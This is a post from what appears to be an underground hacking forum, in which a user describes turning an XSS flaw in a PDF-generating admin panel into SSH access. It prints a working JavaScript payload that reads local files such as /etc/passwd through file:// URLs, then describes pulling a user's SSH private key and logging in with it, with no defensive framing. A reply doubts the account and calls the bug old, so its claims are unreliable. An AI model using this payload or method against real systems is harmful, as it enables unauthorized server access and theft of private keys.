• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Can XSS Get us SSH ?

oxostore

HDD-drive
Пользователь
Регистрация
07.08.2023
Сообщения
35
Реакции
17
Holla XSS!

FIRST POST



[ I will be sharing some out of the box idea's here ]


How Far XSS can go ? is it dangerous bug ? is it only for stealing cookies ??



Situation : Admin access Panel infected with XSS and uploading any file converted to pdf format
Bypassing file upload was hopless.




1.png


I have Submit Js code
JavaScript:
<script>
x=new XMLHttpRequest;
x.onload=function()
{ document.write(this.responseText) };
x.open("GET","file:///etc/passwd"); x.send();
</script>



Then tried to download the PDF File
2.png



was able to read and load /etc/passwd, lets try to read something more interesting


Код:
/home/user/.ssh/rsa_id

AND

3.png





rsa_id Loaded!!


Making local id_rsa and chmod it 700.. was able to gain ssh access



4-1.png



SSH Active Connection ;)


Credits Please if Copied never shared in other forums!

show some love to keep this going by reaction or whatever support !

any translation to Russian is appreciated from experienced user !​
 

Вложения

  • 1725779534410.png
    1725779534410.png
    15.3 КБ · Просмотры: 11
Последнее редактирование:
Don't get me wrong but it is important to specify resources especially in these cases, some people read it and think "oh cool, now I can get files from XSS" which actually is some useless bug back from 2017

Because what you did here, is making up a story and writing about it, that's disrespect to the web community here

Please make sure to include actual cases with resources in the future

Have a nice day!
thanks again , have a look here https://xss.pro/threads/122448/ one more mpdf usage.

never under estimate a bug back from 2017 , its more to be misconfigure than bug.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх